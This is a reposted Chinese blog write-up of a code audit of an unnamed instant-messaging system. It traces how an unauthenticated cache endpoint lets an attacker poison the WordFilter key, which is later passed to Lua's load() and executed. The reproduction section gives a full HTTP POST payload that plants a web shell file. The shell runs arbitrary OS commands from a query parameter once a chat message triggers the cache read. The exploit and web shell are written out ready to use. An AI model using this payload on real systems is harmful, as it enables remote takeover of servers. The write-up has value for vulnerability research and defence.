文章总结: 本文详述某即时通讯系统缓存投毒致RCE漏洞。攻击者向WordFilter键注入恶意Lua代码,系统读取时直接通过load函数执行该字符串。文档包含源码分析、攻击原理及完整复现步骤,演示了利用消息触发机制实现远程代码执行和文件写入的过程。 综合评分: 88 文章分类: 代码审计,漏洞分析,WEB安全
某即时通讯系统缓存投毒->代码注入RCE
原创
回头没有岸 回头没有岸
苍穹密语
2026年2月6日 14:39 北京
Hey Guys!失踪人口回归,今天给大家分享一个代码审计实例吧
Source
首先看到Source:index.lua
function handler.cache(self, action)
local key = web:post("key")
local value = web:post("value")
local cache_value = nil
if value=="nil"then
cache_value = xxxx.cache(key, nil)
elseif value==nilthen
cache_value = xxxx.cache(key)
else
cache_value = xxxx.cache(key, value)
end
web:json(json.encode({cmd="cache", code="ok", data=cache_value}))
end
从uri中获取参数key和value,并放到xxxx.cache中(xxxx是我瞎编的,我怕有火眼金睛。。。),key是缓存的键,value是缓存的值
Ta的web入口点:index.lua?a=cache
local a = web:get("a")
if handler[a] then
pcall(handler[a], handler, a)
end
Sink
在看到Sink:WordFilterManager.lua
function WordFilterManager.getWordFilter()
local WordFilter = "WordFilter345asjdqUIY22"
local WordMap = xxxx.cache(WordFilter) -
if WordMap == nil then
WordMap = WordFilterManager.InitWordFilter()
xxxx.cache(WordFilter, inspect(WordMap))
else
WordFilterManager.wordMap = assert(load("return "..WordMap))()
end
end
wordMap 从缓存中读取WordFilter这个key,如果不存在返回nil,如果没有缓存将会初始化新的敏感词过滤器,并将序列化后的数据存入缓存
如果有缓存则会将字符串编译为 Lua 函数,并执行该函数。
那么我们可以写入一个lua的代码放到缓存里,当缓存触发的时候加载代码从而实现RCE
漏洞复现
1、添加缓存
POST /index.lua?a=cache HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 216
key=WordFilter345asjdqUIY22&value=(function() io.open('../app/html/file/s.lua','w'):write('mg.write(io.popen(mg.get_var(mg.request_info.query_string,[[c]])):read([[*a]]))'):close() return {isLast=false,map={}} end)()
image-20260206141954243
确定一下缓存已经写入
image-20260206142042231
2、触发(这里是发送消息触发)
首先本地没有恶意文件
image-20260206142212793
登录状态模拟对话,发送hello
image-20260206142336644
成功写入文件
image-20260206142408247
访问执行命令
image-20260206142502747
End
结束喽~,后面不定期更,我知道有漏点,vps搭建的环境无所谓啦~
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:苍穹密语 回头没有岸 回头没有岸《某即时通讯系统缓存投毒->代码注入RCE》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论